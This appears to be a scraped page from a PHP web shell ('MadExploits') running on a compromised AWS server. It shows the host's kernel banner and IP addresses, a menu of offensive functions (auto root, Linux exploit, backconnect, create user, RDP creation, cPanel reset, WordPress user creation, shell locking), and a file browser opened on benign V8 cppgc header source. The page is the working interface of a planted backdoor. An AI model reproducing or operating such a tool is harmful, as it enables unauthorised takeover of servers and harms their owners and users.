Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.221.83.34
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
nodejs /
v20.12.2 /
include /
node /
cppgc /
[ HOME SHELL ]
Name
Size
Permission
Action
internal
[ DIR ]
drwxr-xr-x
allocation.h
11.61
KB
-rw-r--r--
common.h
643
B
-rw-r--r--
cross-thread-persistent.h
14.81
KB
-rw-r--r--
custom-space.h
2.4
KB
-rw-r--r--
default-platform.h
2.18
KB
-rw-r--r--
ephemeron-pair.h
804
B
-rw-r--r--
explicit-management.h
3.29
KB
-rw-r--r--
garbage-collected.h
3.11
KB
-rw-r--r--
heap-consistency.h
11.74
KB
-rw-r--r--
heap-handle.h
1.26
KB
-rw-r--r--
heap-state.h
2.57
KB
-rw-r--r--
heap-statistics.h
3.89
KB
-rw-r--r--
heap.h
5.7
KB
-rw-r--r--
liveness-broker.h
2.34
KB
-rw-r--r--
macros.h
1.31
KB
-rw-r--r--
member.h
22.75
KB
-rw-r--r--
name-provider.h
1.99
KB
-rw-r--r--
object-size-trait.h
1.6
KB
-rw-r--r--
persistent.h
13.5
KB
-rw-r--r--
platform.h
5.56
KB
-rw-r--r--
prefinalizer.h
2.88
KB
-rw-r--r--
process-heap-statistics.h
1009
B
-rw-r--r--
sentinel-pointer.h
935
B
-rw-r--r--
source-location.h
2.57
KB
-rw-r--r--
testing.h
2.96
KB
-rw-r--r--
trace-trait.h
3.14
KB
-rw-r--r--
type-traits.h
7.78
KB
-rw-r--r--
visitor.h
14.84
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : object-size-trait.h
// Copyright 2021 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef INCLUDE_CPPGC_OBJECT_SIZE_TRAIT_H_ #define INCLUDE_CPPGC_OBJECT_SIZE_TRAIT_H_ #include <cstddef> #include "cppgc/type-traits.h" #include "v8config.h" // NOLINT(build/include_directory) namespace cppgc { namespace internal { struct V8_EXPORT BaseObjectSizeTrait { protected: static size_t GetObjectSizeForGarbageCollected(const void*); static size_t GetObjectSizeForGarbageCollectedMixin(const void*); }; } // namespace internal namespace subtle { /** * Trait specifying how to get the size of an object that was allocated using * `MakeGarbageCollected()`. Also supports querying the size with an inner * pointer to a mixin. */ template <typename T, bool = IsGarbageCollectedMixinTypeV<T>> struct ObjectSizeTrait; template <typename T> struct ObjectSizeTrait<T, false> : cppgc::internal::BaseObjectSizeTrait { static_assert(sizeof(T), "T must be fully defined"); static_assert(IsGarbageCollectedTypeV<T>, "T must be of type GarbageCollected or GarbageCollectedMixin"); static size_t GetSize(const T& object) { return GetObjectSizeForGarbageCollected(&object); } }; template <typename T> struct ObjectSizeTrait<T, true> : cppgc::internal::BaseObjectSizeTrait { static_assert(sizeof(T), "T must be fully defined"); static size_t GetSize(const T& object) { return GetObjectSizeForGarbageCollectedMixin(&object); } }; } // namespace subtle } // namespace cppgc #endif // INCLUDE_CPPGC_OBJECT_SIZE_TRAIT_H_
Close